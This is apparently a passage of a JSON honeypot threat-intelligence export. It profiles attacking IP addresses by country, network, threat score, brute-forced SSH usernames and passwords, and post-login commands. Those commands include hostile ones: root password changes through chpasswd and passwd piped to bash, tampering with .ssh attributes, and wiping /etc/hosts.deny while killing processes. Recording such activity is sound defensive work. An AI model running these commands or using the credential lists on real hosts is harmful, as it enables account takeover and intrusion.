        "echo -e \"123456\\n8ayTG2r81bCn\\n8ayTG2r81bCn\"|passwd|bash",
        "echo -e \"UBUNTU\\nQ7zbCamv17yc\\nQ7zbCamv17yc\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T02:58:12.953000+00:00",
        "last_seen_30d": "2026-04-14T03:35:08.133000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 69
      }
    },
    "27.112.78.170": {
      "attack_count": 325,
      "first_seen": "2026-04-09T06:18:26.989Z",
      "last_seen": "2026-04-09T07:20:13.314Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "useradmin",
        "ali",
        "demo",
        "deploy",
        "frappe",
        "oracle",
        "qwerty",
        "server",
        "testing",
        "webapp",
        "www"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "123123",
        "1234",
        "123456qq!",
        "1234qwer",
        "2wsx3edc$",
        "654321",
        "ABCabc123!@#",
        "Admin12345678@#",
        "Asd123!",
        "Asd123.",
        "Oracle02!",
        "P@ssw0rd",
        "Root1111111..",
        "Root123456789@@",
        "asdfasdf",
        "frappe2025!@#",
        "qawsedrf"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd\\n60ZiwkUwP1cD\\n60ZiwkUwP1cD\\n\"|passwd",
        "echo \"root:SalAPo0wgKmh\"|chpasswd|bash",
        "echo \"root:gJl5cQXX71Gz\"|chpasswd|bash",
        "echo -e \"P@ssw0rd\\n60ZiwkUwP1cD\\n60ZiwkUwP1cD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 396,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:18:26.989000+00:00",
        "last_seen_30d": "2026-04-09T07:21:18.640000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 325,
        "Suricata": 71
      }
    },
    "41.128.181.199": {
      "attack_count": 263,
      "first_seen": "2026-04-04T18:05:19.840Z",
      "last_seen": "2026-04-04T19:04:36.500Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "ftpuser",
        "oracle",
        "cassandra",
        "git",
        "gitlab",
        "josh",
        "nandan",
        "rocketmq",
        "sftptest",
        "test",
        "test1",
        "ubuntu",
        "ventas01",
        "will"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "1qaz2wsx#EDC",
        "A123456123",
        "Bot28!",
        "Oracle123456",
        "QAZwsx123",
        "Qazwsx54321@",
        "Qwer-1234",
        "Sz123456@",
        "Welcome@123",
        "ZAQ!2wsx654321!@#",
        "ab@123456",
        "cassandra",
        "enisenes12",
        "ftpuser#2026",
        "nandan"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Bot28!\\noNab186zFMph\\noNab186zFMph\\n\"|passwd",
        "echo \"ftpuser#2026\\nuhlB5X1mto4t\\nuhlB5X1mto4t\\n\"|passwd",
        "echo -e \"Bot28!\\noNab186zFMph\\noNab186zFMph\"|passwd|bash",
        "echo -e \"ftpuser#2026\\nuhlB5X1mto4t\\nuhlB5X1mto4t\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 24863,
      "as_org": "LINKdotNET",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:05:19.840000+00:00",
        "last_seen_30d": "2026-04-04T19:05:37.057000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "165.227.170.113": {
      "attack_count": 262,
      "first_seen": "2026-04-13T19:14:46.526Z",
      "last_seen": "2026-04-13T19:50:37.719Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftp-test",
        "steam",
        "ubuntu",
        "claude",
        "db2inst1",
        "deploy",
        "deployer",
        "dev",
        "git",
        "jk",
        "misuser",
        "myuser",
        "n8n",
        "rico"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "123qwe",
        "124",
        "A1234567890",
        "Aa168168",
        "Abcd@2026",
        "Claude20!",
        "M45uys51!",
        "Steam!@#",
        "XXqq1234",
        "asd123",
        "db2inst1",
        "ftp-test",
        "misuser",
        "n8n31",
        "q1w2e3r4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ftp-test\\nSAWeDqDJ1rqY\\nSAWeDqDJ1rqY\\n\"|passwd",
        "echo \"root:5O0t4ZN1IOZN\"|chpasswd|bash",
        "echo -e \"ftp-test\\nSAWeDqDJ1rqY\\nSAWeDqDJ1rqY\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T19:14:46.526000+00:00",
        "last_seen_30d": "2026-04-13T19:51:43.921000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "43.242.203.160": {
      "attack_count": 262,
      "first_seen": "2026-04-14T16:44:20.800Z",
      "last_seen": "2026-04-14T17:27:24.336Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "tester",
        "bot",
        "denis",
        "sammy",
        "steam",
        "steam1",
        "test",
        "ubuntu",
        "user1",
        "user53",
        "zqliu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567890",
        "A1234567891011121314151617181920",
        "Abcd1#$",
        "DDbb123",
        "Letmein1",
        "Pa$$W0rd",
        "Postgres2026!@#",
        "Qaz123wsx!@#",
        "Qaz1wsx2",
        "Qwe123456.",
        "Qwerty123456",
        "Sammy!2026",
        "Wangsu@123",
        "bot18",
        "changeme",
        "cr2750af6bTs1pkq",
        "denis",
        "qazwsx2025#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:U3JLtxJJplRC\"|chpasswd|bash",
        "echo \"tester@2025\\ntklbtnoNR6aZ\\ntklbtnoNR6aZ\\n\"|passwd",
        "echo -e \"tester@2025\\ntklbtnoNR6aZ\\ntklbtnoNR6aZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T16:44:20.800000+00:00",
        "last_seen_30d": "2026-04-14T17:28:30.584000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "218.190.8.165": {
      "attack_count": 236,
      "first_seen": "2026-04-28T12:40:36.572Z",
      "last_seen": "2026-04-28T13:13:57.555Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "tmproot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!q@we$r%t^y&u",
        "123",
        "123456abc",
        "Abcde!@$%",
        "G!yBwPWH3Vao%",
        "Mm123456",
        "P@$$wort3@1",
        "SHxxyCTyun@2025",
        "TRK@THOR!",
        "[prova]",
        "lkj",
        "p@ssw0rd!",
        "p@ssw0rd123456",
        "pass!@#$%",
        "passwd3",
        "root1@2024",
        "websolutions",
        "wwwroot2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7MZHXOn50dtD\"|chpasswd|bash",
        "echo \"root:P6Q0RlIvRSmv\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T12:40:36.572000+00:00",
        "last_seen_30d": "2026-04-28T13:15:07.122000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "119.246.15.94": {
      "attack_count": 219,
      "first_seen": "2026-04-29T03:31:24.353Z",
      "last_seen": "2026-04-29T05:00:44.311Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "user",
        "ftpuser",
        "minecraft",
        "root",
        "345gs5662d34",
        "appserver",
        "deployer",
        "developers",
        "ec2-user",
        "elasticsearch",
        "git",
        "newuser",
        "oracle",
        "postgres",
        "test",
        "user4"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "142536",
        "147258369",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123",
        "P@ssw0rd",
        "abc123",
        "abc123456",
        "admin",
        "admin1357",
        "admin2016",
        "debian@123",
        "developers",
        "english",
        "letmein",
        "pass@123",
        "password123",
        "password1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"147258369\\nBSLIvVaHOdHx\\nBSLIvVaHOdHx\\n\"|passwd",
        "echo -e \"147258369\\nBSLIvVaHOdHx\\nBSLIvVaHOdHx\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T03:31:24.353000+00:00",
        "last_seen_30d": "2026-04-29T05:01:45.462000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 80
      }
    },
    "154.73.168.229": {
      "attack_count": 204,
      "first_seen": "2026-04-23T23:39:20.920Z",
      "last_seen": "2026-04-24T00:32:58.064Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "bot",
        "ftp-user",
        "345gs5662d34",
        "ali",
        "andrey",
        "bkp",
        "claude",
        "deploy",
        "dev",
        "hussain",
        "iot",
        "myuser",
        "office",
        "seekcy",
        "sysadmin",
        "u1",
        "useruser"
      ],
      "passwords_attempted": [
        "123456",
        "123qwe...",
        "3245gs5662d34",
        "345gs5662d34",
        "Ali30!",
        "Alibaba@123",
        "Bot08",
        "Claude22",
        "Dev25",
        "Joysuch@Locate2020",
        "Lky123456",
        "Root13!",
        "Sp123456",
        "admin@123456",
        "andrey",
        "bkp",
        "bot19!",
        "frappe12",
        "hussain",
        "office"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"q1w2e3r4t5\\nqouYpXHI1Lnz\\nqouYpXHI1Lnz\\n\"|passwd",
        "echo -e \"q1w2e3r4t5\\nqouYpXHI1Lnz\\nqouYpXHI1Lnz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 327819,
      "as_org": "AZAM-MEDIA",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T23:39:20.920000+00:00",
        "last_seen_30d": "2026-04-24T00:34:08.367000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 65
      }
    },
    "5.78.178.26": {
      "attack_count": 199,
      "first_seen": "2026-04-22T04:29:58.674Z",
      "last_seen": "2026-04-22T04:56:23.386Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "ssuser",
        "345gs5662d34",
        "admin",
        "ali",
        "botuser",
        "csgoserver",
        "ftpuser",
        "liu",
        "proxyuser",
        "robot",
        "steam",
        "testuser",
        "user",
        "user_jenkins",
        "xray"
      ],
      "passwords_attempted": [
        "123456",
        "!QAZ4esz",
        "123456789",
        "123qweQWE",
        "1qaz2WSX@",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Cloud@2026",
        "Hf123456",
        "Huawei@CLOUD8!",
        "Password1",
        "Qwe123!@#",
        "ali31",
        "allot",
        "ass",
        "changeme",
        "csgo",
        "ftpUser",
        "postgres2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ssuser\\nswQvHYSxMmOE\\nswQvHYSxMmOE\\n\"|passwd",
        "echo -e \"ssuser\\nswQvHYSxMmOE\\nswQvHYSxMmOE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 212317,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T04:29:58.674000+00:00",
        "last_seen_30d": "2026-04-22T04:57:27.431000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 61
      }
    },
    "103.210.22.17": {
      "attack_count": 196,
      "first_seen": "2026-04-30T03:56:18.839Z",
      "last_seen": "2026-04-30T04:37:07.596Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "ftpuser",
        "root",
        "345gs5662d34",
        "debian",
        "fctrserver",
        "ftpadmin",
        "guest",
        "postgres",
        "sftp",
        "tester",
        "user2"
      ],
      "passwords_attempted": [
        "!1qwerty",
        "1",
        "111111",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "P@ssword",
        "admin",
        "admin1234!",
        "adpadmin",
        "apple123",
        "debian@2023",
        "fctrserver",
        "khongbiet",
        "qwertyuiop",
        "sftp",
        "test",
        "ubuntu2018"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin\\ngySE01GSMZQY\\ngySE01GSMZQY\\n\"|passwd",
        "echo -e \"admin\\ngySE01GSMZQY\\ngySE01GSMZQY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:56:18.839000+00:00",
        "last_seen_30d": "2026-04-30T04:47:08.662000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 72
      }
    },
    "217.154.84.121": {
      "attack_count": 194,
      "first_seen": "2026-04-04T04:53:22.469Z",
      "last_seen": "2026-04-04T05:46:16.558Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "claude",
        "steam",
        "test",
        "vpn",
        "345gs5662d34",
        "loginuser",
        "minecraft",
        "myadmin",
        "n8n",
        "postgres",
        "testing",
        "user01"
      ],
      "passwords_attempted": [
        "-conf",
        "3245gs5662d34",
        "345gs5662d34",
        "A1231239",
        "Az123123",
        "Claude02",
        "N8n9",
        "P@ssw0rd",
        "Rdf@2025",
        "Root111@",
        "Root666@@",
        "Test06",
        "Vpn07!",
        "Vpn14",
        "g",
        "minecraft123456",
        "myadmin",
        "newpassword",
        "nopassword",
        "password123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Claude02\\nFPzdNlLaYbtb\\nFPzdNlLaYbtb\\n\"|passwd",
        "echo -e \"Claude02\\nFPzdNlLaYbtb\\nFPzdNlLaYbtb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T04:53:22.469000+00:00",
        "last_seen_30d": "2026-04-04T05:47:23.098000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "103.186.31.66": {
      "attack_count": 168,
      "first_seen": "2026-04-27T21:07:33.293Z",
      "last_seen": "2026-04-27T21:58:19.984Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "*&^%$@!",
        "3245gs5662d34",
        "345gs5662d34",
        "ABCabc2024",
        "HUAWEI!@#",
        "MilleniuM",
        "Pa$$w0rd003",
